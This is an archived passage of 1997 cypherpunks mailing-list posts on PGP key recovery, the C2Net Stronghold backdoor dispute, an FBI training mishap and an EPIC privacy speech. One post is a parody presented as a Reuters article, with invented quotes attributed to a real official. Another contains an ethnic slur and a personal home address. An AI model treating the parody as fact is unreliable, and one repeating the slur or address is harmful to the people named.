>An article in today's (Fri, Oct 3) New York Times (CyberTimes)
><http://www.nytimes.com/library/cyber/week/100397pgp.html>
>describes the new release of "PGP for Business Security 5.5," which
>contains mechanisms that incorporate key recovery mechanism that can 
either
>be volontary or be enforced by using PGP's software for controlling 
a
>company's SMTP server -- the server can verify that all encrypted 
messages
>include the corporate public key (or conform to other corporate 
policies):
[snip]

Keep in mind that this is the 'PGP for Business'. Companies often 
operate on the principle that email that's sent and received from 
their machines is the company's, not the employee's. This is actually 
reasonable business practice. Specially when encryption enters the 
picture. The employee could walk under a bus, and leave some vital 
but encrypted emails in his mailbox. This could be a real problem for 
corporations.

Individuals should of course stay as far away from something like 
this as possible.

Alex

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDXEUduYAh4dUSo/EQKERQCg6v6i8v+hvh4/zFDXGEt2e0eyl0kAn2An
2tlYh85ewSbxsCmD8L9H1OI/
=i0zt
-----END PGP SIGNATURE-----


---
Violence is the last resort of those who have lost all control over a
situation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 4 Oct 1997 12:58:20 +0800
To: cypherpunks@toad.com
Subject: Stanglehold / Re: Stronghold
Message-ID: <199710040437.GAA21179@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:

> C2Net should have demanded proof instead of getting defensive.  That
> worries me, not because of "hidden backdoors", but because it shows lack of
> confidence in their own products. But lack of confidence has nothing to do
> with actual strength of the product.

Let's think about this for a moment.

RSA is so confident in their product that they openly challenge 
people to prove its strength or weakness, even offering them money
out of their own pocket if they cn do so.

C2Net, at the merest whisper by the least credible of persons, 
launches into action an army of litigators to threaten said
individual with dire consequences if they fail to duck and cover,
not to mention 'shut the fuck up.'

Hhhmmmm......

> If you do have evidence and refuse to post it, then you are just helping
> C2Net.

If I had evidence of a backdoor in C2Net's Stronghold software, and 
I met with so little support when attacked by them, I would refuse to
post it.
Why? To let all of C2Net's staunch defenders feel all the more confident
in placing their big, hairy balls in the StrangleHold of C2Net's
software.

Of course, if I were C2Net and I *did* have a backdoor built into my
software, I would probably try to link any criticism of my product with
the rantings of mentally unstable paranoics.
Which begs the question, is Dimitri the 'foil' of C2Net, or a 'creation'
of C2Net?

TruthMonger
"Creator of the 2-way mirror."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 4 Oct 1997 13:37:35 +0800
To: cypherpunks@Algebra.COM
Subject: FBI trainees good, nab innocent teen-agers
Message-ID: <199710040532.HAA26609@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo
   [ISMAP]-Navigation
   Infoseek/Big Yellow
   Pathfinder/Warner Bros
   Main banner AST. Working For Your Business.
   
                                    rule
                                      
                  FBI trainees goof, nab innocent teen-agers
                                       
     October 3, 1997
     Web posted at: 9:35 p.m. EDT (0135 GMT)
     
     ELIZABETHTOWN, Pennsylvania (AP) -- Armed FBI trainees in
     bulletproof vests and camouflage surrounded a group of teen-agers,
     handcuffed them and forced them to the ground before realizing they
     had the wrong people.
     
     The trainees were taking part in a training exercise at a town
     square Wednesday night in which they were apparently supposed to
     nab others taking part in the drill.
     
     Instead, up to 30 FBI trainees jumped out of a caravan of vehicles
     and descended on the innocent teen-agers, bound their wrists with
     plastic ties and ordered them to lie face-down on the sidewalk.
     
     After about 30 minutes, the agents set the teens free.
     
     The FBI would not comment on the specifics of the drill, but an FBI
     official apologized Friday and two agents visited the home of one
     of the youths Thursday night to express their regrets.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 4 Oct 1997 15:58:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FBI trainees good, nab innocent teen-agers
In-Reply-To: <199710040532.HAA26609@basement.replay.com>
Message-ID: <971004.074923@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971004:0732 
    nobody@replay.com (Anonymous) purported to expostulate:

+     
+     ELIZABETHTOWN, Pennsylvania (AP) -- Armed FBI trainees in
+     bulletproof vests and camouflage surrounded a group of teen-agers,
+     handcuffed them and forced them to the ground before realizing
+     they had the wrong people.
+   
  
    look at this way: the teenagers have seen first blood; they may be     
    better prepared for when it is for real

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka #23 <suck_my_root@DosEquis.cum>
Date: Sat, 4 Oct 1997 23:44:47 +0800
To: Harka <root@DosLinux>
Subject: Re: russia_1.html
In-Reply-To: <199710040438.EAA00226@DosLinux>
Message-ID: <34365E76.4662@DosEquis.cum>
MIME-Version: 1.0
Content-Type: text/plain



Routers Old Media
                                      
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   Friday October 3 7:09 PM EDT 
   
US Sees No Bakery Roll in Russia's Nuclear Arms

   WASHINGTON (Reuter) - The United States Friday rejected the claim of
a
   Russian scientist that Moscow had secretly developed nuclear
"suitcase
   bombs" under KGB orders in the 1970s specifically for terrorist
   purposes. "It is foolish to believe that a Russian scientist would
know
   more about it than our spies." a spokesman pointed out.
   
   "We have no information or evidence suggesting that nuclear weapons
   were ever developed for or put under the control of the KGB, which is
   part of the story here," State Department spokesman James Rubin said.
   "This does not mean," Rubin added, "that we will not tell members of
   the US Congress the exact opposite, in closed meetings, in order to 
   get them to pass unconstitutional legislation."

   Rubin, reflecting previous U.S. statements, did not deny so-called
   "suitcase bombs" may be part of Russia's arsenal. "We want to have
   our nukes and deny them, too." he said.
   
   "We cannot comment...about the precise specifications or dimensions
of
   any nuclear weapons," he told reporters, "because, for all of our
   posturing, we are pretty fucking clueless." 
   
   But he repeated the U.S. view that "there is no evidence other than
   hearsay to support such claims" that portable Russian nuclear weapons
   may have gone missing. "And since it is our own FUD-generated
hearsay,"
   he added, "we ought to know."
   
   "There's probably no issue where you have the combined resources of
   the U.S. government working as well together and with such
   determination as the issue of security of nuclear weapons, and we
work
   on it every day, hundreds if not thousands of people in the
   government," he said. 
   "It might be compared to the BATF's efforts to ensure the safety of
   soft targets, such as the former Murrah...uuhhh. Never mind..." he
said.
   
   "And if they say that we have no information on this and they say
that
   these accounts are hearsay, that's pretty compelling," Rubin added.
   "And if we say the exact opposite, tomorrow, then that will also be
   pretty compelling." Rubin said, with a smirk.

   Testifying before Congress Thursday, Alexei Yablokov, a respected
   scientist who served on the Russian National Security Council,
   contradicted statements by Russian officials denying the existence of
   the weapons and buttressed claims that many of them have gone
missing.
   But he was a fucking Commie, so what the fuck does he know.
      "I am absolutely sure that they have been made," he told the House
   Military Research and Development subcommittee, "but I'm a fucking
   Commie, so what the fuck do I know."
   
   The issue arose when former Russian National Security Adviser
Alexandr
   Lebed alleged that up to 100 portable suitcase-sized bombs were
   unaccounted for since the 1991 breakup of the Soviet Union.
   Lebed's allegations have been alternately confirmed and denied by
   US intelligence sources, depending on who they are trying to bullshit
   and manipulate at any given point in time.

   According to Lebed, who has agreed to testify before the House
   committee later this month, the devices have an explosive capacity of
   one kiloton -- the equivalent of 1,000 tons of TNT -- can be
activated
   by a single drug dealing, terrorist, encryption-using pedophile and 
   could kill as many as 100,000 non-encryption using people.
      
   Yablokov said he had spoken to the scientists who worked on the
   weapons and so was certain of their existence, as well as the 
   existence of the Cirle of Nuclear Eunuchs in Bienfait, Saskatchewan.
   
   But he said the former Soviet Defense Ministry might never have known
   about the so-called "atomic demolition munitions" because they were
   developed for the KGB spy service under a secret program.
   He added that the US Department of Defense was a much better source
   of information as to what secret programs were and were not in
   existence in the heart of the Soviet Union.

   On the issue of possible missing nuclear weapons, Rubin said Moscow
   "continues to assure us that it retains adequate command and control
   and that appropriate physical security arrangements exist for these
   weapons and facilities."
   Rubin then looked around, seeming confused, and said, "I can't find
   my shoes. Has anyone seen my shoes?"

   "We have no reason or evidence to doubt these assurances," he said.
     _________________________________________________________________
                                      
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    Questions or Comments or Bad Attitudes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 4 Oct 1997 23:09:08 +0800
To: cypherpunks@toad.com
Subject: Data Protection in the United States: A Rising Tide?
Message-ID: <v03007802b05c04f73c17@[204.254.22.76]>
MIME-Version: 1.0
Content-Type: text/plain



[From RRE --Declan]

>Date: Fri, 3 Oct 1997 14:18:57 -0400
>From: Marc Rotenberg <rotenberg@epic.org>
>Subject: EPIC Speech in Brussels
>
>[...]
>
>-------
>
>"Data Protection in the United States: A Rising Tide?"
>
>Marc Rotenberg
>Electronic Privacy Information Center
>Washington, DC
>
>17 September 1997
>19th Intentional Conference on Data Protection
>Brussels, Belgium
>
>      Thank you, Mr. Chairman, ladies and gentlemen. I am
>grateful for the opportunity to be with you this morning.
>
>      I will speak today on behalf of consumers and users of
>the Internet in the United States. There are few issues of
>greater concern to us than the protection of privacy. You can
>read about this in our newspapers and our magazines. Privacy
>stories routinely appear on the front pages of national
>magazines and in the daily newspapers. In just the past few
>weeks stories about privacy have appeared in Time Magazine,
>the Washington Post and USA Today. So extensive is our
>discussion of privacy concerns that we even export the news
>of our problems. I found a story from the New York Times
>about the use of the Internet to collect detailed personal
>information on the front page of the International Herald
>Tribune that I purchased yesterday morning here in Brussels.
>
>      We believe that strong measures must be taken to
>protect personal privacy. You can see this in our responses
>to public polls. We have consistently expressed concern about
>the loss of privacy, and we have consistently shown support
>for new legislation to protect privacy.
>
>      We know that law is often an imperfect solution, but we
>are also firm believers in the rule of law. You will
>recognize this if you trace the development of privacy law in
>the United States over the twentieth century. You can see
>this if you understand that our country has always shown
>great regard for the right of privacy and expressed
>widespread concern when privacy was at risk.
>
>      So, when I say to you today that privacy is a great
>concern in the United States and that we need to do much more
>to protect it, I do so with the newspaper stories piled high,
>the polling numbers unambiguous, and with a respect for
>history that makes clear that few rights in American life are
>more greatly valued than the right to protect private life.
>
>      I will speak now to the three central issues that need
>to be addressed to build a bridge between the United States
>and Europe so that we can enter the information society
>together with mutual standards that protect the privacy
>rights of our citizens . The first issue concerns current
>attitudes of consumers in the United States and the current
>policies of government. The second concerns the short-comings
>of self- regulation. My final point is two recommendations
>for how we should proceed.
>
>      First, it is clear the consumers and users of the
>Internet favor the passage of law to protect personal
>privacy. Professor Westin found this year that 58% of the
>American public want government o pass law to protect privacy
>now. And 24% said that government should formally recommend
>privacy standards. Only 15% favored letting groups develop
>voluntary privacy standards and government taking action only
>if real problems arise.
>
>      Professor Westin's results are consistent with other
>surveys of attitudes toward privacy in the United States. A
>1991 poll conducted by Time Magazine found that 93% of the
>U.S . public felt that companies that sell personal
>information to others should be required to obtain explicit
>permission. And the most comprehensive poll of Internet users
>ever undertaken found that users of the Internet in the
>United States, on a 1 to 5 scale, said that the Internet
>needs new laws to protect privacy at a level of 3.8.
>
>      Public support for privacy legislation is clear.
>
>      Second, it is also clear that some political leaders
>favor the adoption of privacy law. While it is true that the
>White House has expressed the opinion that privacy
>legislation is unnecessary at this time, members of Congress
>are of a different opinion. Bills have been introduced in the
>House and the Senate that address a wide range of privacy
>issues. One bill would limit the disclosure of Social
>Security Numbers. Another bill would prohibit Internet
>Service Providers from disclosing customer information
>without consent. A third bill restricts the ability of direct
>marketers to sell information about young children. Several
>bills have been introduced to address public concern about
>unsolicited commercial email. Many other bills are also under
>consideration.
>
>      It is also clear that the United States is fully
>capable of enacting privacy laws to address public concern,
>particularly when new technologies threaten personal
>freedoms. In fact, we have passed several laws in a little
>over a decade that specifically target new technologies.
>Privacy protections for cable subscriber records were enacted
>in 1984. Electronic mail was covered in 1986. Video rental
>records gained protection in 1988. Even junk faxes and auto-
>dialers became subject to privacy legislation in 1991.
>
>      So, we must observe at this point, that the view of
>some that the United States does not support passage of
>privacy legislation is not supported by the majority of
>people of the United States, many of our elected officials,
>or our recent history.
>
>      Much has been said in the last few months in support of
>self-regulation. Self- regulation has been offered as a
>privacy solution, a way to steer a course between government
>control and free market chaos. It is critical to look closely
>at the case for self-regulation.
>
>      First, it should be said that the current argument for
>self-regulation is based on a preference and not a principle.
>While much has been said about the "common philosophy" of the
>Administration's policy toward the Internet, it is quite
>clear, some would say painfully clear, that the
>Administration is prepared to regulate if the interest at
>stake is copyright or cryptography./1/
>
>      Second, self-regulation as an argument against privacy
>protection is hardly new in the United States. The direct
>marketing industry has argued for more than twenty years that
>it did not need privacy regulation. The result is that today
>Americans receive a flood of junkmail, more junkmail per
>capita than any other country in the world. Millions of
>Americans sign up for the Mail Preference Service to escape
>this onslaught, but there is no assurance that the privacy of
>these people will be protected. Professor Reidenberg and
>Professor Schwartz have shown in their study of data
>protection in the United States that the Mail Preference
>Service is ignored by about half the members of the Direct
>Marketing Association./2/
>
>      Self-regulation has also failed repeatedly in the last
>few years as trade groups and individual companies have been
>unwilling to uphold their own principles and their own
>contractual agreements. In 1991 the Direct Marketing
>Association failed to take action against the Lotus
>Marketplace product even though it plainly violated the
>industry's own guideline on the need to offer an effective
>opt-out. Similarly, the DMA failed to take any action against
>Metromail after the company turned a mailing list into a
>look-up service in violation of another DMA edict. Companies
>also appear unable to police themselves. America Online
>entered into a deal with a telemarketing firm even after it
>assured customers in its service agreement that it would not
>disclose telephone numbers to others. There are many other
>similar cases.
>
>      Consumer groups challenged these practices, and
>eventually changes were made. But this is hardly proof, as
>some proponents have claimed, that the self- regulatory
>approach is working.
>
>      The advocates for self-regulation have also redefined
>privacy in a way that is ultimately harmful to the interests
>of consumers. Instead of focusing on the obligations of the
>organizations that collect personal information to safeguard
>the information and use it only for appropriate purposes, the
>self-regulatory environment has produced numerous proposals
>that all share the common goal of extracting as much
>information from the individual as the individual can be
>coerced to give up by means of contract. A typical
>negotiation in an environment produced by P3 or OPS requires
>consumers to satisfy the information disclosure requirements
>of the business as a condition of gaining access to services.
>
>      As my colleague Professor Agre has observed, these
>relationship easily become asymmetric with the organization
>having the greater power to control what information about
>itself is released while simultaneously obscuring the nature
>and scope of the information it has obtained about
>individuals.
>
>      Of course, one remains "free" to withhold consent and
>to therefore be denied admission to a web site, service from
>a web-based company, and many other opportunities in the
>Information Society regardless of whether a fair
>justification for the data collection is provided.
>
>      Simply stated, self-regulation elevates the principles
>of notice and consent to stratospheric heights and ignores
>virtually all other principles of privacy and data
>protection. It is, to borrow from the British philosopher
>Jeremy Bentham, "contracts on stilts."
>
>      This has been made clear by virtually all of the
>proposals in the United States that focus on obtaining
>consent. The most ironic of these was one recommendation
>earnestly made by a government official on this issue of
>children's privacy who proposed in place of legislative
>safeguards the use of biometric identifiers to ensure that a
>parent's consent to make use of a child's data for marketing
>purposes had in fact been obtained.
>
>      Self-regulation has also given rise to the emphasis on
>a multiplicity of privacy preferences. But whether
>individuals actually have such diverse privacy preferences,
>particularly in routine commercial transactions or in data
>gathering activity remains to be seen. As Professor Agre
>notes, "particular importance should be paid to uniformity of
>protocols across different industries and applications, so
>that consumers are not overwhelmed by a pointless diversity
>of interfaces and contracts." /3/
>
>      He suggests that it will be particularly important to
>look at a broad range of criteria, "including ease of
>understanding, adequacy of notification, compliance with
>standards, contractual fairness and enforceability,
>appropriate choice of defaults, efficiency relative to the
>potential benefits, and integration with other means of
>privacy protection."
>
>      Self-regulation has a further problem: it provides a
>very limited view of the problems surrounding privacy
>protection. It focuses on the microeconomic relationship
>between buyer and seller and ignores the larger social
>questions of architecture and design. Should highway systems
>be designed with anonymous toll payment ? Which technologies
>could facilitate commerce and protect privacy ? What stand
>should governments take on the use of cryptography ? Self-
>regulation provides no answers to these questions, it
>provides no mechanisms to find solutions.
>
>      Self-regulation have failed to work even in areas where
>public and industry support is overwhelming. The Center for
>Media Education found that more than a year after the release
>of a widely publicized report on children's privacy that
>companies were continuing to collect personally identifiable
>information from children at their web sites without
>disclosing how the information will be used, who will have
>access to it, and without obtaining parental consent. As the
>CME concluded, "it is clear that industry self-regulation
>does not provide adequate protection for children's privacy."
>
>      It has been proposed that the Federal Trade Commission
>could enforce a self- regulatory privacy regime by
>prosecuting deceptive trade practices. But the FTC's ability
>to actually enforce privacy protection in this manner is
>highly suspect. First, the legal authority of the FTC under
>section 5 of the Federal Trade Commission Act typically
>requires a showing of <<<< actual harm ~ to consumers. As those
>who have studied privacy law in the United States know, this
>will be a difficult test to satisfy. But even if this problem
>is overcome, one could well ask why the FTC, if it had such
>legal authority, pursued only one privacy case after two
>years of intense privacy investigation. And in the single
>case that the FTC investigated, the Commission issued an
>opinion only after the company had discontinued the
>challenged practice. There was no actual judgment against the
>firm or any sanction imposed. Finally, what expectation can
>there be that the FTC will pursue any privacy actions in the
>near future when the Commissioner responsible for privacy
>matters has now left the Commission ? One can look to the
>Federal Trade Commission for the enforcement of privacy
>safeguards on the Internet, but you will see only an empty
>chair.
>
>      Finally, there is a significant legal objection to
>self-regulation as a means to protect consumer privacy in the
>United States: such an arrangement could be impermissible
>under anti-trust law. It is, as one commentator has noted, a
>violation of competition law for businesses in the same
>market to combine to set the terms of competition and then to
>enforce those terms on their competitors. Establishing
>industry-wide privacy standards could have exactly this
>consequence. Some commentators have suggested that it may be
>possible for such agreements to survive anti-trust scrutiny
>if the codes are sensibly designed and do not discourage
>competition. But drafting such a policy may not be so simple.
>
>      What happens, for example, if industry adopts a code
>based on an opt-out procedure and an innovative company,
>recognizing the need for a higher privacy standard, prefers
>to offer an opt-in procedure instead? If the industry
>association discourages the company from offering the higher
>standard, consumers would be harmed and an anti-trust action
>could result. Indeed, there is already anecdotal evidence
>that the marketing industry has engaged in just such
>practices. (Note that in this example a regulatory framework
>that established opt-out in law could still permit the
>innovative company to offer the opt-in procedure.)
>
>      What we realize now is that self-regulation provides
>neither the assurance of a legal right nor the innovation and
>competitive benefit of the marketplace. It is simply an
>answer to the question: how do we regulate without the
>government ? This is not a path to privacy protection, it is
>not even privacy policy.
>
>THE FUTURE
>
>      It seems to me surprising that we are unable today to
>resolve the privacy differences between Europe and the United
>States particularly as they concern the Internet. Both
>regions share a high regard for privacy and a long privacy
>tradition. Both regions seem eager for greater privacy
>safeguards. We know also that there is a convergence in the
>development of privacy standards around the globe./4/
>
>      But even more obviously, the Internet offers the ideal
>environment to establish uniform standards to protect
>personal privacy. This is clear to anyone who recognizes that
>the platform is consistent around the globe, that the
>protocols are consistent, and the customs surrounding
>commercial transactions off-line are surprisingly consistent:
>money buys products and services, the disclosure of one's
>address is necessary to receive delivery of goods, and the
>release of personal financial information may be necessary
>when credit is sought.
>
>      For the vast majority of transactions on the Internet,
>simple, predictable, uniform rules offer enormous benefits to
>consumers and businesses. It is clear what the goal is.
>
>      We must find a way forward. The Commission would have
>ample justification at this point if it decided to restrict
>certain data flows to the United States because of the
>absence of appropriate privacy safeguards. How can this point
>be disputed? Consumers in the United States know that we lack
>adequate privacy protection.
>
>       I think it is time to end what Colin Bennett has
>called "American Exceptionalism.~ There is little support in
>our public attitudes, law, or history for this stance. The
>United States should move quickly to establish a privacy
>agency, and then proceed to explore the application of the
>OECD Privacy Guidelines to the private sector. This useful
>framework provides a strong foundation for the development of
>technical means to protect privacy and the development of new
>privacy standards and legal safeguards. It is already found
>today in several US privacy laws and in the practices of many
>US companies.
>
>       I also propose today that the United States, Europe,
>and Asia join together to develop an intentional convention
>on privacy protection based on the OECD Guidelines. A simple
>framework of general goals combined with a consultative
>process that brings together a wide array of countries could
>help ensure that privacy standards are extended to all comers
>of the globe
>
>       Only when we have established privacy standards and
>guidelines as strong as security standards and guidelines
>will users of advanced networked services have the trust and
>confidence to participate fully in the Information Society.
>
>       It is also my hope that in the process of working
>together toward a common goal that some of the current
>differences between the United States and Europe will
>diminish. There is too much at stake for consumers, and
>citizens, and users of the Internet to risk a clash of
>privacy rules.
>
>       We share a common interest in the protection of
>privacy. Let us go forward together and establish the
>policies that will launch the information economies of the
>next era while preserving the personal freedoms we cherish
>today.
>
>       I thank you for your attention.
>
>NOTES
>
>/1/  Framework for Electronic Commerce (1997)
>
>/2/ Paul M. Schwartz and Joel R. Reidenberg, Data Privacy Law
>(New York: Michie, 1996).
>
>/3/  Philip E. Agre and Marc Rotenberg, eds., Technology and
>Privacy: The New
>Landscape (Cambridge and London: MIT Press, 1997)
>
>/4/ Colin J. Bennett, Regulating Privacy (Ithaca: Cornell
>Press, 1992)
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Oct 1997 23:27:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold 1/2
In-Reply-To: <ed27d264358016b98eb8830bc6b4b0cb@anon.efga.org>
Message-ID: <6e32De9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I sent this large article out a while back, and apparently it never showed
up on the mailing list. Perhaps it was too large I'll re-send it again in
two smaller chunks.

This article includes several long quotes.  I urge anyone still interested
in the C2Net/StrongHold thread to read the whole thing.  I don't expect to
need to contribute to this thread again.

The "anonymous" C2Net shill (easily recognizable) wrote:
>C2Net was wrong to censor the cypherpunks list in the guise of moderation.
>It was wrong to send threatening letters to people who claimed its
>products were weak.

"Moderation" is a misnomer. C2Net engaged in outright fraud by providing
a list which C2Net claimed would contain the articles rejected by the
C2Net moderator, then censoring articles from both the censored and the
uncensored lists. At least one of my articles (not the one about Stronghold;
the one quoting the threatening letter from C2net's lawyers) didn't make
it even to the "unedited" list.

I immediately recognized the "anonymous" shill's hysterical posting style
(repeatedly calling me a "liar" and a closet homosexual, making numerous
references to my ethnicity and visa status (incorrectly)). Do you happen to
remember C2Net's "marketing director" who tried to create the nym "Locutus"
via the remailers, and blew his cover because he couldn't change his style?

>The burden of proof in claiming that there is a weakness in someone's
>security product is on those making the claim.

Nope. The burden of proof is on the vendor selling the product.
In this case, the vendor is unwilling or unable to present any
evidence of the product's security, so it threatens the
security experts who question the product.

>If anyone really does believe that C2Net's products have backdoors or
>weaknesses, why don't they present them?

Because C2net's lawyers have been harrassing those who did - plenty
of their threats are quoted below.

Somebody wrote, and I suspect that it wasn't cc'd to the list,
so I'll skip the name:
>Are you able to tell some one privately what's wrong with it ??

I'm very sorry, but I'd rather not...

Somebody else wrote (my headers are a mess; I apologize profusely
if I'm quoting private e-mail to the list. which I suspect I'm doing)
>I'm pretty curious, because threatening individuals with lawsuits
>for questioning the quality of a product seems like an act of
>desperation.  It also seems like it wouldn't hold up in court
>for a minute.

I agree that this is the behavior one would expect from a vendor that has any
confidence at all in its product or in its ability to answer questions about
its product in an uncensored discussion.

>Imagine if McDonalds tried to sue someone that said big macs suck.
>
>The judge would throw out the case after a good belly laugh.

As a matter of fact, McDonald's did sue some folks in the U.K. (where libel
laws are even weirder than in the U.S.) who were basically saying that
hamburgers aren't healthy. The defendants won just recently. One of the
problems with the U.S. legal system that you can be on the defending end
of a totally meritless suit, and still not recover your legal fees when the
suit is laughed out of court.

C2Net's harrassment included calling my home and threatening my mother-in-law;
threatening to seize all my computers as part of the "discovery process"; etc
(check out some of their threats below). Since I have nothing to gain by
publicizing the truth about them, I'd rather not deal with these creeps.

Jeff Barber <jeffb@issl.atl.hp.com> wrote:
>> Lucky is lying: the censored articles were also filtered from the list which
>> was billed as being unfiltered.
>
>This is revisionist history.  I can't recall any intimation at the
>time that any messages were filtered from the unfiltered list.

If you can't recall, I'm quoting a bunch of stuff below. At least one of
my articles, the one quoting the threatening letter from C2net's lawyers,
didn't make it even to the "unedited" list.

The "anonymous" C2net shill further wrote:
>While it is true that Dmitri is a proven liar in the grand tradtion
>of the Soviet Union (shout a lie long enough and loud enough and
>eventually some people will start to believe it), and a pathological
>homophobic bigot (who secretly enjoys sucking cock but wears womens
>clothing to disguise himself),

C2Net's shill called me a liar about a dozen times, yet hasn't presented any
evidence of me ever lying. On the other hand, C2net's claim that I'm a closet
homosexual is an outright lie, typical of Sameer Parekh and his employees.

>Of course, by that time Dmitri had so little reputation capital that
>Gilmore patched Majordomo so it wouldn't even respect a subscription
>request for him.

This is correct: John Gilmore tried to censor me from this mailing list. As
the result, I'm still here, John Gilmore no longer runs this list, and John
Gilmore's "reputation capital" is extremely negative. C2net's shill seems to
approve of Gilmore's actions, demonstrating once again that he he is employed
by a dishonest and dishonorable organization.

>Ultimately, Dmitri's allegations of weaknesses in Stronghold, true or
>not, are totally irrelevant.  Without mathematical proof of a weakness,
>he simply cannot be believed to ever be telling the truth.  So, if
>C2 said to him in private e-mail, "if you call Sameer a cocksucker one
>more time, we'll slap a libel suit across your emigrant ass, take back
>your green card, deport you and tell Russia that you called Yeltsin a
>cocksucker," well, I can understand why he shut up.

Hmm, I turned in my green card about 12 years ago, when I got naturalized...

For what it's worth, Sameer is an Arab, and we all know the old Arab proverb:
"Women for sons, boys for pleasure, but goats for sheer extasy." However
C2net's barratrous threats were not transmitted by e-mail and had nothing to
do with Sameer's alleged sexual preferences. Rather, I received 5 or 6
threatening phone calls at home from Janet M. Craycroft. Also the following
threatening letter was served on me (on a weekend!)

]Gray Cary Ware
]  Frieidenrich
]A professional corporation
]
]Attorneys at Law                                      Janet M. Craycroft
]400 Hamilton Avenue                          Direct Dial: (415) 833-2297
]Palo Alto, CA 94301-1826                   Internet: JCRAYCROFT@GCWF.COM
]Tel (415) 328-6561
]Fax (415) 327-3699                                          Our File No.
]                                                                 9999999
]
]                          January 21, 1997
]
]
]VIA OVERNIGHT COURIER
]---------------------
]
]
]Mr. Dimitri Vulis
]6767 Burns Street, #4K
]Forest Hills, New York 11375-3555
]
]                 Re:   Internet Postings on Cypherpunks@toad.com
]
]Dear Mr. Vulis:
]
]     This firm represents C2Net, a California Corporation.  It has come to our attention
]that you are publishing false, defamatory statements about C2Net and its products.
]Specifically, we direct your attention to your January 30, 1997 Internet posting to the
]Cypherpunks@toad.com mailing list which you entitled "Security alert!!!"  (A copy of this e-
]mail is enclosed.)
...
]     As you are undoubtedly already aware, Stronghold is a web server that protects
]Internet traffic encryption.  Stronghold is not a "backdoor" to steal credit card numbers.  The
]statements contained in your e-mail directly cast aspersions upon C2Net's product and
]business which will not be tolerated.  Dr. Vulis, at a minimum, your e-mail exposes you to
]civil liability for defamation, tortious interference with business relations, interntional
]interference with contractual relations and permits C2Net to seek compensatory damages as
]well as punitive damages against you personally.
]
]   C2Net has authorized this firm to take all action necessary to put an immediate stop to
]your actions and conduct as described above, as well as any other conduct or actions
]undertaken by you which might prove to be harmful to C2Net.  Such authorization includes
]the filing of a lawsuit against you to obtain injunctive relief as well as compensatory and
]punitive damages.
]
]   Given the seriousness of this matter, we insist that you stop disseminating the January
]30 e-mail or any version of such e-mail.  If you continue to publish defamatory statements
]about C2Net and its products, we will pursue all remedies against you.  So that there is no
]misunderstanding, please confirm in writing by february 4, 1997, that you will agree not to
]further disseminate the January 30 e-mail or versions of such e-mail.
]
]   Should you have any questions, please contact me or have your attorney contact me.
]
]                                                  Very truly yours,
]
]                                                  GRAY CARY WARE & FREIDENRICH
]                                                  A Professional Corporation
]
]                                                  [Signature]
]                                                  Janet M. Craycroft
]
]Enclosure
][deleted]

The letter pretty much speaks for itself.  Let me just point out that
1) I never claimed that "Stronghold is a backdoor", which makes no
sense, 2) Sameer Parekh inists on addressing me as "Mr." because he's
a college dropout extremely envious of anyone educated better than him.

>So, don't hold your breath waiting for a repost of previous lies
>from our dear Kook of the Fucking Century.

Yep - since there have been no "previous lies", a repost is impossible.

But here are a few list articles from the time of the "C2Net moderation
experiment". For those who aren't award, Sandy Sandfart is the marketing guy
at C2Net who was trying to "moderate" this mailing list.

Sandy Sandfart posted the following lie (note the date):

]Date: Fri, 7 Feb 1997 11:26:27 -0800 (PST)
]From: Sandy Sandfort <sandfort@crl.com>
]To: Mike Duvos <mpd@netcom.com>
]Cc: cypherpunks@toad.com
]Subject: Re: My messages not appearing on either of the lists?
]In-Reply-To: <199702071636.IAA26298@netcom19.netcom.com>
]Message-Id: <Pine.SUN.3.91.970207112428.25330B-100000@crl.crl.com>
]Sender: owner-cypherpunks@toad.com
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]On Fri, 7 Feb 1997, Mike Duvos wrote:
]
]> ...Messages apparently do not get moderated in the order in
]> which they are received...
]
]All messages are filtered and posted in the order in which I
]receive them.
]
]
] S a n d y

To which Tim May wrote (and Sandy spiked this article, and many others):

]Message-Id: <v03007803af21536e1a68@[207.167.93.63]>
]In-Reply-To: <e90q2D50w165w@bwalk.dm.com>
]References: <v03007801af20611fe990@[207.167.93.63]>
]Date: Fri, 7 Feb 1997 13:59:23 -0800
]To: cypherpunks@toad.com
]From: "Timothy C. May" <tcmay@got.net>
]Subject: More on the Stronghold Charge
]Cc: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]
]Vulis has sent me private mail, which I won't quote here because of the
]usual netiquette standards that private mail not be quoted (though it's
]legal to do so). He asserts that a few weeks ago he sent criticisms of
]Stronghold out to the Cypherpunks list, and the criticisms did not appear
]on any of the distributed lists.
]
]He claims he then received communications from C2Net of a legal nature,
]threatening him with legal action. I'll let Vulis elaborate if he wishes,
]as I don't know the situation. And I encourage him to do so, for more than
]one reason.
]
